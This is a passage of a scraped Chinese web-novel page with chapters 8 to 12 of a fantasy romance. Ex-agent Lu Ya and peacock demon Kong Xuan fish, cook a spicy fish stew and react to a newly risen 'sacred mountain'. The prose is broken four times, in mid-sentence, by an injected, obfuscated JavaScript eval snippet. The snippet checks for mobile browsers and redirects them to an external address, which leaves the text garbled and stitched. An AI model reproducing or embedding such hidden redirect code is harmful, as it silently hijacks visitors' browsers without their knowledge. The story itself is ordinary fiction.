;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647724|172783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怼进河里,撸起袖子准备大干一场。 不过在此之前,他先向陆压扬眉,意图嚣张地回敬他:“你钓过?” 他明显是挑衅,陆压诡异思考了一瞬。 “嗯……是哪种钓呢?” 作为清扫组,陆压曾经用一根鱼竿从大海中间吊起一条鲛人,那条鲛人总在夜晚爬上渔船,用蛊惑人心的嗓音迷惑外来水手。 他或许会问水手要一根烟,或者是一个吻,水手意乱情迷间被他吸走了魂魄,自此无论水手的归途在哪,他将回到那片海域,成为鲛人的盘中餐。 观测组的人称之为“艳遇”。 他们安排陆压去赴这场“艳遇”,陆压独自乘船在海上漂泊了一天,直到夜色降临,他依旧坐在船边海钓,“艳遇”找上了他。 那条鲛人向陆压索要一个真爱之吻,陆压照着他的脑袋狠狠来了一撬棍。 ……太血腥了。 于是陆压又开始回忆起小时候的经历:“我在孤儿院的时候钓过鱼。” 陆压并不是一开始就被妖管局里长大,他在孤儿院长到了七岁。 那个年代的孤儿院物资匮乏,每个人分到的有限,院长与保育员看顾不到那么多孩子,隐秘的规矩是谁大一岁谁更能打谁就能占据更多的资源。 “实在饿的时候,孤儿院外也有很多可以吃的。那些可以吃的酸枝、三叶草、竹笋……当然也包括小溪里的虾蟹和小鱼。” 陆压并不避讳自己的过去,他轻描淡写地将旁边的石块搬开,按照他的经验,他搅乱了泥沙,从里面挖出一只张牙舞爪的小河蟹。 小河蟹丢进桶里,像是曾经的小陆压也捉到了这一只小蟹。 孔宣显得若有所思:“听起来很好玩。” 陆压挑眉:“你呢?” “我?我不需要这些。”孔宣轻哼,他也不避讳自己的过去,简单说了一下被妈妈宠爱的日子。 他不需要将自己的羽毛陷入水中,他得到了母亲的全部宠爱。 陆压很快就搭建起了他的家庭组成,有母亲有弟弟,但没有父亲。 “你和你弟关系不好?”他听来听去都没有听到孔宣对于弟弟的评价。 在陆压说自己小时候是孩子王时,他眉眼间一闪而过的兴味并没有被陆压错过。 他不和自己弟弟一起玩吗? 孔宣:“……你啰嗦了。” 他不愿意再说,尽管在他口中,他和妈妈的生活快乐又自由。 ——明明是一家三口,却少了一个人的存在。 陆压若有所思。 就在这个时候,一人一妖敏锐地察觉到什么,他们齐齐转过头,视线定在潺潺流下的溪水中。 被投入溪水的残肉散发着一种无人观测到的气息,这股气息顺着水流,绕过弯曲纵横的石块,直直地潜形到更远的地方。 “咕噜~” 水中摇曳而发出的一声细微声音,有什么东西潜在水下,摇曳着尾部轻轻扇动着翅膀,顺着河流流泻到这片水域。 陆压手中的简易鱼竿突然一沉,他与孔宣对视一眼,两人默契地比划口型。 “来了!” 9. 第9章家烧飞鱼煲2 “哗啦——” 鱼竿用力一挑,刚咬勾的飞鱼还没来得及松嘴,只感觉有万钧力气劈开水流直直地击打在鱼腹,紧接着往上一挑,一尾飞鱼冲破流水“哗啦”飞到空中,呈现抛物线的方式“biu”飞过半个圆圈,直直坠到地上。 孔宣踩着石块,姿势像是在击打球体,一根枯竹竿在他手里挥舞得虎虎生风,拦在河流中间把竹竿一头潜进水里往上一挑,一条飞鱼扇动翅膀啪叽掉到他的脚边。 他顿时眉飞色舞,长眉斜挑,任凭稀碎的光斑落在面上,浮光掠影般的光色顺着鱼的弧线流星般滑过眼底。 “一分!” 孔雀大王欢呼雀跃,两三步蹦到近前,一把扣住鱼鳃拎到眼前。 他眉眼神飞,嘴角绽开明媚的笑意,显然得意得不行,吊着鱼的手往陆压眼前一晃,漂亮的丹凤眼映着万千光彩,明晃晃地在陆压眼前嘚瑟。 先捉了一条飞鱼,这可把孔雀大王得意坏了。 孔宣一把将竹竿扛在肩上,张扬地翘起唇角,嚣张地支着腿叉着腰,像是打赢了一场胜战,得意地朝陆压眨了眨眼。 一计Wink像是在放电,酥酥麻麻的空投给陆压,陆压接收到他抛来的挑衅信号,情绪稳定地一把拎起自己落空的鱼钩,挂上一块肉又抛了回去。 “吃吗?”他掏出自己带的小饼干,随手给孔宣掰了一块。 孔宣明显被这一条飞鱼钓上了兴趣,他支着长腿,视线不停在水面徘徊,好半天才探头一口咬掉陆压手上的饼干。 他是一点也不客气,生来就是要被人伺候的。 孔雀大王被供奉了半块饼干,腮帮子鼓起一边,咀嚼两下,突然顿住。 酥脆奶香的饼干抿在唇齿间,香得孔雀大王神魂颠倒。 他不可置信地咀嚼两下,越嚼越香,谷物烘烤过的香气混杂着奶香味,适口性格外良好,简直把孔雀大王的心从鱼上钓走。 孔宣目光灼灼,舍不得满嘴留香的饼干,不住地“嚼嚼嚼”。 腮帮子鼓鼓囊囊,钓鱼的乐趣和饼干的美味在拉扯他,几乎将他分成两块。 理性的那一方表示:饼干而已,什么时候都能吃,现在最重要的是钓鱼! 感性的那一方则被小饼干香得目眩神迷,已经忘记自己在干什么了。 陆压从工装裤的大口袋里拎出一袋小饼干,成功让孔雀大王狠狠打压理性小人,探头“嗷呜”一口咬住小饼干。 他探头吃了一块,被小饼干迷得双眼滚圆,迷迷瞪瞪地盯着陆压的手不放,不等嘴里的吃完,陆压把小饼干一送,他立刻张嘴去接,两边腮帮子鼓起白软的弧度,鼓鼓囊囊地塞满了奶香小饼干。 很好,孔雀大王已经被小饼干迷了心神。 陆压扮猪吃老虎,浅浅来了一计调虎离山计,在孔雀大王痴迷吃饼干的间隙,一把拎起自己的小钓竿。 “哗啦”一尾飞鱼咬住鱼钩,被钓竿拎了上来,陆压低调表示:“一分。” 现在是一比一。 孔宣瞪圆了眼睛,鼓动的腮帮子呆滞了一下,视线从陆压的手中落到了桶里,两条飞鱼在塑料桶里摇头摆尾。 孔宣:!!! 他怀疑资本给他做局了!他孔雀大王到底动了谁的小饼干! 可恶! 孔雀大王发誓要获得胜利,他怒气冲冲地扛着竹竿叼着装饼干的塑料袋子,连蹦带跳地远离了陆压的身边。 “唔唔唔!”孔雀大王绝不认输! 孔宣叼着塑料袋子,“唔唔”放狠话,眼中被激起的战意是遮也遮不住。 他哼了一声,一手小饼干一手长竹竿,把小饼干嚼得咔咔响。 你说(嚼嚼嚼)饼干这东西(嚼嚼嚼)谁研究的呢?(嚼嚼嚼) 好好一个钓鱼被陆压一计饼干计弄得硝烟四起,孔宣目光灼灼,发誓要获得胜利。 他举着竹竿守在水中, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647725|172783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一旦有鱼经过,他飞速地挥舞竹竿,瞬时间,鱼就跟下雨一样从空中哗啦啦落下。 不只有牛首山的飞鱼,还有几条细细长长的小鱼。 有孔雀大王守阵,陆压的小鱼竿完全派不上用场,他钓了几次,除了用肉吸引鱼过来外没有任何用处。 又一次空竿,陆压干脆在河床搬石头捉了几只小河蟹,和桶里的鱼混一起,也算是他尽力了。 桶里大鱼小鱼都有,比预计钓几个小时快多了。 不到中午十二点,陆压和孔宣一个提着桶一个叼着小饼干,一个跟着一个跳石头离开。 孔宣喜欢走在前面,自觉自己获得了胜利,傲气十足地扬起下巴。 任凭光影闪动从他头顶掠过,他高兴得眉飞色舞,雪白的衬衫上树影婆娑流动,他脚步轻快似迈着某种极具韵味的舞步,走在光中一举一动都蒙着亮光。 注意到视线,他转过头,漂亮的眼睛弯弯如月,眼中光彩夺目,张扬得像是一只勾人的妖精。 光彩追随他的身影,陆压走在身后,突然被细腰晃了眼睛。 果然还是画妖吧? 陆压快步跟上,突然想起那些修复师说的形容。 流绪微梦、妖歌曼舞。 那令月坠花折的如花美眷,也不过如此。 他突然发问:“壁画成精的妖怪都要吸人精气吗?” 所以才生得这么漂亮。 孔宣:? “我又不是画妖。”孔雀大王张牙舞爪,不服气陆压居然拿自己和区区画妖相提并论。 突然他眉头一皱,灵机一动,觉得这个人类是不是在试探自己? 连忙补了一句:“不对,我是人,我又不是妖怪。” 陆压:…… 真的吗? 陆压明显不信,孔宣却不耐烦了,瞪圆了眼睛,声音很大地压过他的疑问:“人,你啰嗦了!” 人,你很疑神疑鬼! 10. 第10章家烧杂鱼煲3 疑神疑鬼的人类最终被一块小饼干收买,提着塑料桶回了小餐厅。 临进门前,陆压把门上的招牌顺手挂上,提着一桶杂鱼进了厨房。 这一桶杂鱼里,飞鱼只有三条,大小不一,盘在鱼群里面滑得跟泥鳅一样,扇动着透明的翅膀不住挣扎跳动。 陆压探头盯了两秒,危险的目光钉在里面,直到他伸手进去把鱼捉起,这三条飞鱼也没折腾出个所以然来。 直到剪刀切开鱼腹,破碎的鱼肠连带着鱼骨一起哗啦啦掉出,飞鱼挣扎着尾巴,发出哀哀的鸣啼,脑袋一歪,彻底死绝。 孔宣那一棍子直接把那些鱼打得内脏破碎、脊骨断裂。 别说跳起来扇人巴掌了,就是翅膀都给鱼打折了,原地起飞?想都别想。 孔宣抱着手臂倚在门口,期待的目光直直往前飘,狭长的丹凤眼微微弯起,脸上只有对食物的渴望,没有一丝暴力的残忍。 陆压的视线定在他漂亮明艳的眉眼片刻,瞬间有了主意:“做个杂鱼煲吧。” “辣的吗?”孔宣终于忍不住探头,半个身子还靠在门边,上半身已经彻底倾斜过来。 他目露期待,眼底光影流漾如树荫重重,就这么眼巴巴地盯着陆压的手。 陆压拿着剪刀,粗大的手掌一手卡着鱼,一手用剪刀破开鱼腹,掏空内脏。 青青紫紫的内脏沾在他的手上,他面不改色,手握得极稳,漫不经心地回答:“加辣。” “放红辣子。” 陆压每说一句,孔宣的眼睛就亮上一分,等他掏出辣椒,孔宣的眼底早已星光闪烁,肉眼可见地高兴起来。 陆压突然觉得荒谬与好笑。 孔雀妖也爱吃辣吗? 他利索地将鱼刮鳞去腮处理好,不管大的小的都下盐去腥冲洗。同时备好泡椒、酸菜、葱姜蒜,青红辣椒和姜丝。 鱼用盐、鸡精、胡椒粉,一点姜葱、料酒抓揉腌制。 热锅下油,加入泡椒、酸菜炒香,花椒、姜蒜和自制豆瓣酱炒香熬制,用料酒、鸡精、白糖、盐调香。 依次加入鱼、青红辣椒熬煮,加醋入味。 炖煮期间,他又将一颗柠檬切开,加入一点蜂蜜糖浆,制成了一壶柠檬蜂蜜水。 就这么一会儿工夫,一股奇异的异象霸道地萦绕在鼻尖,将早已迫不及待的孔宣钓得魂牵梦绕。 他踮着脚尖,鬼鬼祟祟地溜到锅前,欲盖弥彰地背着手,脑袋左右看了一圈,想要偷吃的小眼神已经遮也遮不住了。 眼见陆压还背着身做柠檬水,他手速飞快,一把拎起锅盖,浓浓的料香扑面而来,孔宣深吸一口气,似乎早已在满锅酸菜杂鱼中畅游。 好香! 浓烈的饥饿席卷了孔宣的感知,孔宣盯住在辣锅翻滚的浪里白条,非常迅速地伸出了手。 “啪”一双筷子非常迅速地敲他手上。 “哇呜!”孔雀大王大怒! 陆压一手带走锅盖给锅扣上,一手按住孔宣的肩膀往旁边推。 “不许偷吃。” 他好整以暇地看了眼准备偷吃的孔雀大王,大王眼睛瞪得滚圆,双手叉腰撑着气势,像是一只愤怒的小鸟,凶巴巴地张着翅膀恐吓。 凶巴巴的。 陆压把两根筷子放在锅上,比了一个大大的“×”。 孔宣狠狠剜他一眼,傲气十足地表示:“我才不会偷吃!” 他都是光明正大地吃! 孔宣仰着下巴,傲气地表示自己绝不是那种偷鸡摸狗之辈。 然而锅里汤汁一滚,浓烈的香味灌入感知,他再也撑不住傲气十足的范,眼神飞快地往下一瞥、再瞥、三瞥…… 孔雀大王强撑的架势就像是这锅里的鱼,被炖啊煮啊,被火一滚瞬间撑不住了。 一双傲气十足的眼睛瞬间变得清澈无比,盯着锅盖上大大的“x”,眼神从恼怒到痴迷再到饥饿,他的理智飞速消减。 如同饥饿很久的人,眼里的渴求都快溢出来了。 这可把孔雀大王折腾得抓心挠肺,眼巴巴的小眼神纷飞着直往陆压身上砸。 然而陆压一手按着锅盖,像是看不到般垂着眼睛,黑鸦鸦的睫羽低垂,冷酷无情地就像是一个黑涩会刽子手,居然没有任何反应。 狠心的男人! 孔雀大王怒气冲冲,决定先去搞点鸟粮吃吃! 孔雀大王飞速离场,陆压才像是反应过来般拎起锅盖,香味扑面而来,他一把盖上,面色十分冷峻。 冷峻而深沉,像是经受了某种不可言状的考验。 怎么可以用这么香的东西考验干部! 陆压饥肠辘辘,不受控制地滚动喉咙,旺盛的食欲如澎湃江河几乎将他淹没。 他以一种极度自控的自控力生嚼了一片柠檬,漫无目的地点开手机APP又退出。 翻开的APP看起来像是做饭论坛,实则是妖管局的内部APP。 登录账号之后,APP瞬间变成了接单论坛,做菜的帖子瞬间被内部贴取代。 妖管局是国家机关与亲人派妖族共同建立的一个管理组织,组织的前身是国家自然与非人安全保障局,随着妖族日益增长的对融入人类社会的美好生活向往,逐渐演化独立,变成了独立于安全局的妖族人口安全管理局。 组织内部会定期进行妖口普查,岗位社招,对入世妖族立法管理、暴力审判,致力于建立起人妖共存的美好社会。 不过因为灵气复苏,妖管局决策失误大力裁撤清扫组,导致现在人妖惶惶。 论坛里的帖子也从怎么通过人类社会通识考试、怎么考公上岸。 变成了“灵气复苏后妖管局考公还有必要吗”、“讨论灵气复苏后人妖之间的关系变化”、“补药哇我刚考上的公务员你告诉我人妖关系要倒退一千六百年?”、“爆言,现在考公务员不亚于49年入国军”、“你们都不考那我考了哦”…… 陆压:…… 这个社会,连妖怪都沉迷考公。 被妖管局无情辞退的前公务员打开锅盖,瞬间,权威的泡椒酸菜杂鱼煲新鲜出炉。 香味霸道的香飘十里,有一瞬间陆压听到了齐刷刷的咽口水声。 就连邻居都馋得忍不住打开窗户,深深闻嗅了几下,本想问问邻居家今天吃什么,结果被挂在树上的“贞子”吓得一哆嗦,猛地关上窗户。 贞子大王趴在树枝上,像是一只被吊起来的小风筝,浓密的长发披散过肩膀,任由两条腿吊在空中,只有胳膊挂在树枝上。 他把下巴垫在手背,两边腮肉软软鼓起,孩子气地把手指伸进喂食器里,捞起一颗送进嘴巴,把腮帮子塞得鼓鼓囊囊。 他浑然不觉自己吓到了人,被香味钓得直吸鼻子,愤愤不平把鸟粮咬得咔咔响。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647726|172783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “吃饭了。”陆压喊了一圈,最终在桃树上找到了自挂桃树枝的孔雀大王。 他站在树下,仰着头也只能看到黑黑的背影,于是他拐着弯钻到了另一边,垫着凳子与孔宣平视:“吃饭了,大王。” 孔雀大王哼了一声,脑袋歪了歪,把脸歪到了一边,于是陆压又搬着凳子在另一边冉冉升起。 “生气了?” 知道小鸟气量小,陆压没想到这么小,一手把打开的喂食器盖上以免打翻,一手扶着桃树探过头和孔宣面对面。 “真生气了?” 他们一起垫着下巴,面对着面,青年隽秀的眉眼往前一搭,说话都似乎带着笑意,笑得孔宣气呼呼的表情都绷不下去了。 腮帮子被人戳动,孔宣飞速地扬起眉,作势要咬他。 问问问! 就知道问! 孔宣朝他呲牙,嘴巴里不知道塞了多少鸟粮,两边腮帮子都塞满了,凶戾的丹凤眼圆滚滚的,一眼扫过来又凶又萌。 又要凶人又惦记着吃。 可爱。 陆压默不作声地往后一靠垫在院墙上,半晌眉眼松懈,露出啼笑皆非的笑意。 “别生气了大王。”他努力顺毛,熟练地举起发誓的手势:“今天的杂鱼煲大王多吃一条。” 孔宣伸出手背,被打过的痕迹早已褪去,只剩下被下巴垫红的一小块红斑。 他扬起眉,竖起两根手指。 “好好好,给你三条,现在下来。” 陆压一个老板,好声好气地把自挂桃树枝cos贞子的员工哄下来,连鱼都不能多吃一条。 实在是惨。 自觉自己已经胜过一筹的孔宣喜滋滋下了树,瞬间忘记某人用筷子抽自己的事了,自己端上碗筷,脚跟着脚跟在陆压身后。 不用陆压说,他把碗筷往前一送,脸上满是期待。 陆压被追得十分紧急,只好像打饭阿姨一样,用大勺子猛猛给孔宣碗里扣上饭,香喷喷的杂鱼煲捞起鱼往米饭上一盖,浓郁的汤汁浇上。 饭染上了菜香,孔宣用筷子戳破鱼肚,轻松把鱼夹成几块,夹起鱼肉往嘴里送,味蕾瞬间被酸辣的鱼香填满。 他眼睛一亮,吃得头都抬不起来。 酸菜腌得恰到好处,配上泡椒本身的风味,一口下去酸辣惑人。 然而最先尝到的酸辣反而被鲜嫩的鱼肉压入下风,鱼肉细腻嫩滑,没有一点土腥味,反而十分的清甜柔嫩,只是在唇间一抿,瞬间抿化成花,配上酸辣的汤汁,一口下去停都停不下来。 孔宣哪还能记得陆压拿筷子敲自己的事,他埋头苦吃,汤汁拌上饭,美得他心花怒放。 不断有人被这股香味吸引过来,小店关着玻璃门,一群饥饿的食客比丧尸还要恐怖,他们猛猛嗅着香味,被钓得口水泛滥,一个接一个地拍门,发出愤怒的嘶吼。 “老板,饿饿,饭饭!” “不要再吃了老板!!开门做生意了!” “求求你了老板,给口饭吃我什么都会做的——” 陆压和孔宣两个头挨着头,坐在餐桌上猛猛干饭,俨然已经达成了饭搭子协议,一切恩怨烟消云散。 耳朵更是听不得任何饥饿的呐喊,只有眼前斯哈斯哈干饭的热忱。 是有人死在眼前也绝不抬头的美味! 什么?你说有人要饿死了?这不正在吃吗! 11. 第11章家烧杂鱼煲4 “老板——” 饥饿的嘶吼声被震动的巨响掩盖,孔宣和陆压反应迅速,一人一边按住震动的桌子。 即便如此,餐桌仍然不停地开始震动,乒乒乓乓的碗碟碰撞在一起,柠檬水从杯口撒出,浇透桌面漫漫撒到地上。 “地震?” 两人面面相窥,孔宣翘起长腿,一只手压在桌上,如有千钧力,平静地将无数震动压下。 他扬起长眉,丹凤眼狡黠敛起,如一只狐狸般翘起细长的弧度,轻眨着露出几分得意。 陆压一把拉开店门,因为刚才的震动,被关在外面的食客早已跑得不见踪影,他在外环顾一圈,似乎在判断是不是地震。 在不断地震动中他轻描淡写地拉下卷帘,彻底将店门关闭。 “应该是和之前一样。” “之前哪样?”孔宣追问。 陆压抽了几张纸将桌上的水渍擦去,将掉到地上的筷子捡起,这个过程中,他低垂着头,一双锐利的眼睛被遮蔽在浓密的阴影下。 他身上的气势似乎有一瞬变化,绷紧的肩背如紧绷的长弦,插科打诨间显露出几分冷峻深沉。 “像A1号、A2号……它们怎么出现的,现在的A4号就是怎样出现。” A1、A2、A3……这样的编号是妖管局观测组内部编号缩写习惯,从危险性划分S、A、B、C四级,再用编号确认优先级,更准确的编号属于内部私密。 陆压捡筷子这功夫,还不忘抽新的筷子递给孔宣。 孔宣支着下巴漫不经心地“唔?”了一声,他从来都是这样,对这世间的变化没有旺盛的好奇心,似乎孜然一身,孤孤单单来孤孤单单去。 新的筷子递到眼前,他就快快乐乐地扒拉米饭,把酸辣有味的米饭往嘴里送,脸上瞬间露出了满足幸福的表情,嘴巴弯成猫猫嘴,笑呼呼地格外欢喜。 “好吃!” 鱼好吃!蟹好吃!什么都好吃! 一锅杂鱼煲,陆压拿小电磁炉在下面加热,依次加入河蟹和土豆、白菜一些蔬菜,成功把杂鱼煲做成了香辣锅。 酸辣泡椒的杂鱼锅加热之后炖煮进土豆里,土豆染上味道,在米饭上压烂,汤汁和糯糯的土豆在唇齿间一抿,香得舌头都要吞下去了。 孔宣一边猛猛干饭,一边不忘抱着杯子吸溜吸溜柠檬蜂蜜水,甜滋滋的冰水吸入口中,很好地刺激味蕾,中和了辣味,简直让人一本满足! 两个人大男人对坐着猛猛干饭,似乎外界一切风雨都侵染不到他们这里。 这样宁静、安宁的气息却在外界销声匿迹, A4号神山在更远的地方拔地而起,它的震感远比A3号出土时还要震撼。 随着神山顶破泥土浩瀚而出,所有观测到神山的人都陷入了长久的缄默中,他们面露震撼,近乎失语地注视着眼前的画面。 那是极为古怪扭曲的画面,像是亲眼看见一个人从另一个人的躯壳中钻出,泥层被迫向两边撑开,原地的所有建筑都随着土地的震动而被迫四移。 灵气检测机制突兀地亮起红灯,刺耳的尖啸声拉响了长鸣。 观测组内,看似是监控室的地方,占据整面墙壁的监控设备刷新成同一画面,闭目养神的工作人员睁开眼睛,一双看不见的盲眼直白地看向屏幕。 他轻声细语,喉咙里似乎有男性女性同时发声,两个声音交错在一起显得格外扭曲嘶哑。 “A4号神山?不,应该被评为S级才对。” “S1号神山。” “陆压?他就快死了,只有一次出手的机会,让他继续沉寂吧,还不到他出手的时候。” …… 拔地而起的神山撬动了地壳,在短暂的震动过后,来广市几乎无事发生,只有几条消息飞速地从网络中窜过。 陆压的小餐厅任性地关了门,拒绝了所有来客。店里的人吃饱喝足,只想躺床上睡个午觉。 孔宣趴在床上,撑着下巴拿陆压的备用机玩消消乐。 这么简单的游戏他也玩得开心,每过一关必得意地翘起嘴角,哼着轻快的小调欢呼。 清冽的小调像是鸟鸣风语,催得人心情舒畅。 陆压搬着躺椅拼到床边,悠闲地摇着摇椅,不忘给观测组发消息。 [陆压]:A4号神山勘探队我带队去。 [AAA观测部来广分组组长]:???你不是离职了吗?什么时候返聘回来了? [AAA观测部来广分组组长]:你想去A4可不行,A4在隔壁省,归他们那边的分局管,你知道的,隔壁那个不男不女的家伙很难缠的。 [AAA观测部来广分组组长]:而且这次神山初步判定是S级,编号可能会更正为S1号了,这个等级要组勘探队有的掰扯,你来了也是白打工挖土,带队是别想了,不如来跟我探索A3吧[搓手][搓手] …… [AAA观测部来广分组组长]:等等,你没返聘回来?快给我把聊天记录删了! …… 陆压当作没看到,飞速把记录删了,兀自躺在躺椅上陷入沉思。 按照观测组的情报,这次的勘探队应该会安排更老的前辈去,可能是妖管局养的老怪物之一。 天道灵气衰竭,那些老怪物们也不好过,获取不到灵气光熬着都是消耗自身,动手更是光耗灵寿。 现在灵气复苏,又出现了一座明显高等级的神山,只怕勘探队队长的位置要被老怪物抢破头了,天地局势也要变一变了。 就是不知道,曾经愿意与人类和平共处的老妖怪,有几个真心几个翻盘。 陆压把玩手机,让薄薄的电子设备在手里转了几圈。 他脑中飞速周璇,突然感觉有哪里不对,扭过头盯住了孔宣。 轻快的小调没有了,孔宣显然也遇到了十足凶险的大问题。 他皱着眉头,盯着屏幕,连欢快翘起的碎发都不晃了,显然陷入了极大的困难中。 陆压凑过脑袋,一翻身从躺椅滚到了床上,两个人脑袋挨着脑袋。 身边突然多了一个人,孔宣眼都没抬,拧着眉头,咬着手指死死盯着屏幕。 他面露纠结,陆压低头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647727|172783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了两秒,伸手走了几步,没想到消了三次,下一秒新掉落的方块直接把这关玩死了。 陆压:? 孔宣:!!! 孔雀大王不可置信地瞪大眼睛,看看屏幕再看看旁边呆滞的陆压,气得张牙舞爪,叽哩哇啦地乱叫一通,一把扑到陆压身上,掐住陆压的脖子拼命摇晃:“我的游戏!” 怎么会有这么坏的人! 陆压:“……我不是故意的。” 不管不管! 孔雀大王怒上心头,张牙舞爪地要咬人,气得火冒三丈。 陆压连忙举手投降,紧赶慢赶想滚回躺椅假装无事发生。 怒上心头的孔雀大王气势汹汹地追在身后,两个人一起摔进躺椅,竹制的躺椅摇晃两下,发出“吱呀”的惨叫。 陆压被压个正着,果断举手投降:“大王息怒!” 孔宣一把翻到陆压腰上,气势汹汹地左右看了一圈,拎起枕头猛猛朝着脑袋乱砸。 “呔!看招!” 陆压飞速躲避,左右摇晃,腰腹动弹间把孔宣颠得晕头转向,几次三番差点把孔宣翻下去。 最终孔宣气急败坏,一招天降正义,连扑带捂,一把将枕头蒙住陆压脑袋。 他双眼明亮,锐利如一块明亮的晶石折射出万般光彩,气喘吁吁地给陆压来一波天降正义,势要让陆压知道孔雀大王的厉害。 陆压偷偷撩起一个角,看他双眼火辣明锐,连忙闭上眼一动不动装死。 被捂在枕头里的陆压偷偷呼吸,默默装死,三分钟之后,果然获得了孔雀大王的原谅。 孔雀大王很明显意识到了枕头是没办法捂死人的,他掀开枕头,居高临下地俯视陆压。 “知道错了吗?”他刻意压低声音,神情显得深沉又冷峻。 孔宣的眼神高傲蔑视,一双傲气的丹凤眼被描摹得淋漓尽致,似乎世间一切都不配被他放入眼中。 只是黑色的发尾顺着肩膀垂荡在人类的胸前,随着他的动作俏皮搔弄过陆压的心口。 陆压莫名觉得心口瘙痒,他被孔宣压住腰腹,眼神一扫入眼就是青年尚带少年感的细腰,劲瘦又不失力量,一双腿死死钳制住他的行动。 察觉到陆压走神,威胁般用踢了他一下。 陆压只能举手投降:“我错了大王!” 孔宣轻哼:“哼?” 陆压从善如流,说:“大王,臣有一法,可赎臣之罪。” “说。” 陆压跟着孔雀大王,自己说着说着都快入戏了,他想了一下,说:“今天新开辟出了座山,我带你去玩怎么样?” “可能有很多妖……我是说好吃的动物,很适合下锅。”陆压一脸老实,把吃妖怪说得清新脱俗,谦虚有礼:“……我是说去救助一下。” 孔雀大王思考两秒,一瞬间脑子里想到有好多好吃的怪物,什么醋溜肥遗、红烧梦貘、炭烤鸣蛇…… 顿时高兴地一巴掌拍在陆压胸巴上:“那还等什么?” “麻溜带路!” 孔雀大王就得吃这些好东西! 12.第12章炭烤豪彘肉 说走就走。 决定好了出门,陆压利索地关了店门,买了车票收拾东西就要出发。 孔宣懒洋洋地撑着下巴趴在窗子上,看陆压在厨房里收拾厨具,他眼波流转漫不经心地拿发尾去搔陆压的脸。 发尾轻轻撩拨,孔宣神情狡黠,俏皮眨动睫毛,语气恶劣地逗弄陆压,越说脸上的戏谑之色越明显,拖拽着长长的语调玩笑。 “老板~你的店不开了吗?没钱怎么办?还不起贷款,欠钱不还会被警察抓起来吗?” 短短几天一点生意没做,两个人光顾着胡吃海喝了。 陆压拎起一口小锅,往登山包里塞的时候还不忘回答他:“会的大王,会的,会被警察抓起来的。” 不只会被警察抓起来,房子还会被拍卖哦。 陆压一点也不担心,也跟着开玩笑,一本正经地说:“到时候我们就只能去搬砖还债,你搬一块我一块,钱一九分,你一我九,谁叫我是老板呢。” 好哇! 真是卖了都要给人数钱。 绝不可能被骗的孔雀大王支棱起脑袋,一脸傲气地哼哼两声,得意地眉飞色舞:“你想得美!” “我才不可能穷成那样。” 他孔雀大王有的是手段和力气! 到时候他猛猛赚钱,包养陆压,翻身做主,想吃几颗鸟粮就吃几颗鸟粮! 想到这样的好日子,孔宣脸上的表情更加精彩,几乎不加掩饰得神采飞扬,不知道想到什么,甚至忍不住笑出了声。 陆压收拾好半人高的登山包,将一个帽子扣在孔宣头上,语气无奈:“走了大王。” 怎么还没开业,就有员工想着老板倒闭了? 陆压把孔宣推出门,孔宣抬起帽檐,眉目神飞瞥了他一眼,像是挑衅又像是示意。 陆压也跟着回头看了一眼小餐厅,小店位于老城区的街角,树影从两侧倾斜压下,几乎半遮着招牌。 原先这里就是一家私房菜,原老板不干了,小店带院子一起卖了。 陆压买回来修整三楼的时候稍微装修了一下门店,收拾收拾就能直接开业,不过开餐厅也是随口说的,他还没想好什么时候正经开业。 想到这,陆压又看了一眼孔宣。 格外敏锐的孔雀大王飞速瞪了回去,从鼻腔里哼唧出一声,似乎在质问他看什么。 陆压只是拍了拍他的肩膀,拉着他登上了公交车。 坐火车上高铁都是需要身份证的,陆压没准备责难孔宣,直接去车站买不要身份证的班车票,从这里到隔壁省,一共要开五个小时。 这还是孔宣第一次坐这么久的人类科技,上次没有防备被人兜头罩进袋子里带进动物园不算。 之前铁窗泪的经历让他有点警惕,眼睛警惕注视着来来往往的所有人,被陆压往座位里面推,他拱了拱让出位置,眼睛还盯着来来往往的人看,身板挺得笔直僵硬,似乎随时能起跳逃脱。 直到陆压按着他按倒在椅子上,并且越靠越近。 